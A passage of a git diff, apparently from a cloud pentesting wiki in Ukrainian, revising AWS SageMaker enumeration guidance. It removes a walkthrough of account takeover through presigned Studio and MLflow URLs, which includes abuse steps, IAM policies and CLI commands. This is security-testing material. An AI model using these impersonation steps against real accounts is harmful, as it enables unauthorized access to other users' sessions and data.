+Кожний ресурс посилається на execution role, S3 locations, container images та опціональну VPC/KMS конфігурацію — зафіксуйте всі з них під час enumeration. -## Обліковий запис та глобальні метадані +## Account & Global Metadata ```bash REGION=us-east-1 # Portfolio status, used when provisioning Studio resources @@ -39,9 +39,9 @@ aws sagemaker list-models --region $REGION --query 'Models[].ExecutionRoleArn' - # Generic tag sweep across any SageMaker ARN you know aws sagemaker list-tags --resource-arn --region $REGION ``` -Зверніть увагу на будь-яку довіру між акаунтами (execution roles or S3 buckets with external principals) та базові обмеження, такі як service control policies або SCPs. +Зверніть увагу на будь-які cross-account trust (execution roles або S3 buckets з external principals) та базові обмеження, такі як service control policies або SCPs. -## Studio Domains, Apps & Shared Spaces +## Studio домени, додатки та спільні простори ```bash aws sagemaker list-domains --region $REGION aws sagemaker describe-domain --domain-id --region $REGION @@ -60,14 +60,14 @@ aws sagemaker describe-space --domain-id --space-name --regi aws sagemaker list-studio-lifecycle-configs --region $REGION aws sagemaker describe-studio-lifecycle-config --studio-lifecycle-config-name --region $REGION ``` -Що слід записувати: +What to record: - `DomainArn`, `AppSecurityGroupIds`, `SubnetIds`, `DefaultUserSettings.ExecutionRole`. -- Підключений EFS (`HomeEfsFileSystemId`) і S3 домашні директорії. +- Змонтовані EFS (`HomeEfsFileSystemId`) та S3 домашні директорії. - Lifecycle scripts (часто містять bootstrap credentials або додатковий код для push/pull). > [!TIP] -> Presigned Studio URLs можуть обійти аутентифікацію, якщо надані занадто широко. +> Presigned Studio URLs можуть обійти аутентифікацію, якщо вони надані широкому колу користувачів. ## Notebook Instances & Lifecycle Configs ```bash @@ -76,11 +76,11 @@ aws sagemaker describe-notebook-instance --notebook-instance-name --regio aws sagemaker list-notebook-instance-lifecycle-configs --region $REGION aws sagemaker describe-notebook-instance-lifecycle-config --notebook-instance-lifecycle-config-name --region $REGION ``` -Метадані ноутбука виявляють: +Метадані Notebook виявляють: -- Роль виконання (`RoleArn`), прямий доступ до Інтернету або режим лише VPC. -- Розташування S3 у `DefaultCodeRepository`, `DirectInternetAccess`, `RootAccess`. -- Скрипти життєвого циклу для облікових даних або хуків персистентності. +- Роль виконання (`RoleArn`), прямий доступ до інтернету проти режиму VPC-only. +- Місця розташування S3 у `DefaultCodeRepository`, `DirectInternetAccess`, `RootAccess`. +- Скрипти життєвого циклу для облікових даних або хуків персистенції. ## Навчання, обробка, трансформація та пакетні завдання ```bash @@ -93,12 +93,14 @@ aws sagemaker describe-processing-job --processing-job-name --region $REGI aws sagemaker list-transform-jobs --region $REGION aws sagemaker describe-transform-job --transform-job-name --region $REGION ``` -- `AlgorithmSpecification.TrainingImage` / `AppSpecification.ImageUri` – які ECR образи розгорнуті. -- `InputDataConfig` & `OutputDataConfig` – S3 бакети, префікси та KMS ключі. +Ретельно перевірте: + +- `AlgorithmSpecification.TrainingImage` / `AppSpecification.ImageUri` – які образи в ECR розгорнуті. +- `InputDataConfig` & `OutputDataConfig` – S3 бакети, префікси та ключі KMS. - `ResourceConfig.VolumeKmsKeyId`, `VpcConfig`, `EnableNetworkIsolation` – визначають мережеву чи шифрувальну конфігурацію. - `HyperParameters` можуть leak секрети середовища або рядки підключення. -## Пайплайни, експерименти та випробування +## Pipelines, Experiments & Trials ```bash aws sagemaker list-pipelines --region $REGION aws sagemaker list-pipeline-executions --pipeline-name --region $REGION @@ -108,9 +110,9 @@ aws sagemaker list-experiments --region $REGION aws sagemaker list-trials --experiment-name --region $REGION aws sagemaker list-trial-components --trial-name --region $REGION ``` -Опис Pipeline деталізує кожен крок, пов'язані ролі, container images і environment variables. Trial components часто містять training artefact URIs, S3 logs і metrics, які натякають на потік чутливих даних. +Визначення pipeline описують кожен крок, пов'язані ролі, образи контейнерів та змінні середовища. Компоненти trial часто містять URI артефактів навчання, S3 логи та метрики, які можуть вказувати на потік конфіденційних даних. -## Моделі, конфігурації Endpoint та розгорнуті Endpoint-и +## Моделі, конфігурації кінцевих точок та розгорнуті кінцеві точки ```bash aws sagemaker list-models --region $REGION aws sagemaker describe-model --model-name --region $REGION @@ -121,12 +123,12 @@ aws sagemaker describe-endpoint-config --endpoint-config-name --region $RE aws sagemaker list-endpoints --region $REGION aws sagemaker describe-endpoint --endpoint-name --region $REGION ``` -Основні напрямки: +Ключові області: -- S3 URI артефактів моделі (`PrimaryContainer.ModelDataUrl`) та образи контейнерів для inference. -- Endpoint data capture configuration (S3 bucket, KMS) для можливої ексфільтрації логів. -- Multi-model endpoints, що використовують `S3DataSource` або `ModelPackage` (перевірити на cross-account packaging). -- Network configs та security groups, прикріплені до endpoints. +- Артефакти моделі S3 URIs (`PrimaryContainer.ModelDataUrl`) та образи контейнерів для інференсу. +- Конфігурація захоплення даних endpoint (S3 bucket, KMS) для можливого log exfil. +- Multi-model endpoints, що використовують `S3DataSource` або `ModelPackage` (перевірити cross-account packaging). +- Мережеві конфігурації та security groups, прикріплені до endpoints. ## Feature Store, Data Wrangler & Clarify ```bash @@ -141,9 +143,9 @@ aws sagemaker list-model-monitoring-schedule --region $REGION ``` Висновки з безпеки: -- Онлайн feature stores реплікують дані в Kinesis; перевірте `OnlineStoreConfig.SecurityConfig.KmsKeyId` та VPC. -- Data Wrangler flows часто вбудовують облікові дані JDBC/Redshift або приватні кінцеві точки. -- Clarify/Model Monitor jobs експортують дані в S3, які можуть бути доступні для читання всім або доступні з інших акаунтів. +- Online feature stores реплікують дані в Kinesis; перевірте `OnlineStoreConfig.SecurityConfig.KmsKeyId` та VPC. +- Потоки Data Wrangler часто вбудовують облікові дані JDBC/Redshift або приватні кінцеві точки. +- Завдання Clarify/Model Monitor експортують дані в S3, які можуть бути публічно читабельними (world-readable) або доступними для інших акаунтів. ## MLflow Tracking Servers, Autopilot & JumpStart ```bash @@ -156,15 +158,15 @@ aws sagemaker describe-auto-ml-job --auto-ml-job-name --region $REGION aws sagemaker list-jumpstart-models --region $REGION aws sagemaker list-jumpstart-script-resources --region $REGION ``` -- Сервери MLflow tracking зберігають експерименти та артефакти; попередньо підписані URL-адреси можуть розкрити все. -- Завдання Autopilot запускають кілька навчальних завдань — перераховуйте результати на наявність прихованих даних. -- Референсні архітектури JumpStart можуть розгортати привілейовані ролі в обліковому записі. +- Сервери MLflow для відстеження зберігають експерименти та артефакти; presigned URLs можуть розкрити все. +- Завдання Autopilot запускають кілька training jobs — перераховуйте outputs у пошуках прихованих даних. +- Еталонні архітектури JumpStart можуть розгортати привілейовані ролі в акаунті. -## IAM & Мережеві міркування +## Міркування щодо IAM та мережі -- Перелічіть IAM-політики, приєднані до всіх ролей виконання (Studio, notebooks, training jobs, pipelines, endpoints). +- Перелічіть IAM policies, приєднані до всіх execution roles (Studio, notebooks, training jobs, pipelines, endpoints). - Перевірте мережеві контексти: subnets, security groups, VPC endpoints. Багато організацій ізолюють training jobs, але забувають обмежити вихідний трафік. -- Перегляньте політики S3 bucket, на які посилаються в `ModelDataUrl`, `DataCaptureConfig`, `InputDataConfig`, щодо зовнішнього доступу. +- Перегляньте S3 bucket policies, на які посилаються `ModelDataUrl`, `DataCaptureConfig`, `InputDataConfig`, щодо зовнішнього доступу. ## Підвищення привілеїв @@ -178,7 +180,7 @@ aws sagemaker list-jumpstart-script-resources --region $REGION ../../aws-persistence/aws-sagemaker-persistence/README.md {{#endref}} -## Постексплуатація +## Пост-експлуатація {{#ref}} ../../aws-post-exploitation/aws-sagemaker-post-exploitation/README.md diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md index 3b534a2b6..0f8c615d6 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md @@ -2,107 +2,12 @@ {{#include ../../../../banners/hacktricks-training.md}} -## SageMaker Studio - Захоплення облікового запису через CreatePresignedDomainUrl (Impersonate Any UserProfile) +## Попередньо підписані URL для SageMaker -### Description -Ідентифікатор з дозволом викликати `sagemaker:CreatePresignedDomainUrl` на цільовому Studio `UserProfile` може створити URL для входу, який авторизується безпосередньо в SageMaker Studio під цим профілем. Це надає браузеру нападника сесію Studio, яка успадковує права `ExecutionRole` профілю та повний доступ до домашньої директорії профілю, що зберігається на EFS, та додатків. Не потрібні `iam:PassRole` або доступ до консолі. +Якщо зловмисникові вдасться отримати попередньо підписаний URL для ресурсу SageMaker, він може отримати до нього доступ без додаткової аутентифікації. Права та рівень доступу залежатимуть від ролі, пов'язаної з ресурсом: -### Requirements -- Наявність SageMaker Studio `Domain` та цільового `UserProfile` в ньому. -- Принципал нападника потребує `sagemaker:CreatePresignedDomainUrl` на цільовому `UserProfile` (рівень ресурсу) або `*`. - -Minimal policy example (scoped to one UserProfile): -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Action": "sagemaker:CreatePresignedDomainUrl", -"Resource": "arn:aws:sagemaker:::user-profile//" -} -] -} -``` -### Кроки зловживання - -1) Перелічте Studio Domain та UserProfiles, на які можна націлитися -```bash -DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text) -aws sagemaker list-user-profiles --domain-id-equals $DOM -TARGET_USER= -``` -2) Згенеруйте presigned URL (дійсний приблизно 5 хвилин за замовчуванням) -```bash -aws sagemaker create-presigned-domain-url \ ---domain-id $DOM \ ---user-profile-name $TARGET_USER \ ---query AuthorizedUrl --output text -``` -3) Відкрийте повернений URL у браузері, щоб увійти в Studio як цільовий користувач. У Jupyter терміналі всередині Studio перевірте фактичну ідентичність: -```bash -aws sts get-caller-identity -``` -Примітки: -- `--landing-uri` можна опустити. Деякі значення (наприклад, `app:JupyterLab:/lab`) можуть бути відхилені залежно від flavor/version Studio; за замовчуванням зазвичай відбувається перенаправлення на домашню сторінку Studio, а потім у Jupyter. -- Політики Org/обмеження VPC endpoint все ще можуть блокувати мережевий доступ; випуск токена не вимагає входу в консоль або `iam:PassRole`. - -### Вплив -- Латеральний рух і ескалація привілеїв шляхом прийняття будь‑якого Studio `UserProfile`, ARN якого дозволено, із наслідуванням його `ExecutionRole` та файлової системи/додатків. - -### Докази (з контрольного тесту) -- Маючи лише `sagemaker:CreatePresignedDomainUrl` на цільовому `UserProfile`, роль атакуючого успішно повернула `AuthorizedUrl`, схожий на: -``` -https://studio-d-xxxxxxxxxxxx.studio..sagemaker.aws/auth?token=eyJhbGciOi... -``` -- Прямий HTTP-запит відповідає перенаправленням (HTTP 302) на Studio, підтверджуючи, що URL дійсний і активний до закінчення строку дії. - - -## SageMaker MLflow Tracking Server - ATO via CreatePresignedMlflowTrackingServerUrl - -### Опис -Ідентифікація з дозволом викликати `sagemaker:CreatePresignedMlflowTrackingServerUrl` для цільового SageMaker MLflow Tracking Server може згенерувати одноразовий presigned URL, який автентифікується безпосередньо в керованому MLflow UI цього сервера. Це надає той самий доступ, який мав би легітимний користувач до сервера (перегляд/створення experiments і runs, а також завантаження/вивантаження artifacts у S3 artifact store сервера) без доступу до консолі або `iam:PassRole`. - -### Вимоги -- Наявність SageMaker MLflow Tracking Server в акаунті/регіоні та його назви. -- Принципал-атакувальник повинен мати `sagemaker:CreatePresignedMlflowTrackingServerUrl` на цільовому MLflow Tracking Server resource (або `*`). - -Мінімальний приклад політики (обмежено до одного Tracking Server): -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Action": "sagemaker:CreatePresignedMlflowTrackingServerUrl", -"Resource": "arn:aws:sagemaker:::mlflow-tracking-server/" -} -] -} -``` -### Кроки зловживання - -1) Перелічіть MLflow Tracking Servers, які ви можете атакувати, і виберіть одну назву -```bash -aws sagemaker list-mlflow-tracking-servers \ ---query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}' -TS_NAME= -``` -2) Згенерувати попередньо підписаний MLflow UI URL (дійсний протягом короткого часу) -```bash -aws sagemaker create-presigned-mlflow-tracking-server-url \ ---tracking-server-name "$TS_NAME" \ ---expires-in-seconds 300 \ ---session-expiration-duration-in-seconds 1800 \ ---query AuthorizedUrl --output text -``` -3) Відкрийте повернутий URL у браузері, щоб отримати доступ до MLflow UI як авторизований користувач для цього Tracking Server. - -Notes: -- Tracking Server має бути в готовому стані (наприклад, `Created/Active`). Якщо він все ще в стані `Creating`, виклик буде відхилено. -- The presigned URL is single‑use and short‑lived; generate a new one when needed. - -### Вплив -- Прямий доступ до керованого MLflow UI для цільового Tracking Server, що дозволяє переглядати та змінювати експерименти/запуски і отримувати або завантажувати артефакти, збережені в налаштованому на сервері S3 artifact store, в межах дозволів, накладених конфігурацією сервера. +{{#ref}} +../../aws-privilege-escalation/aws-sagemaker-privesc/README.md +{{#endref}} {{#include ../../../../banners/hacktricks-training.md}}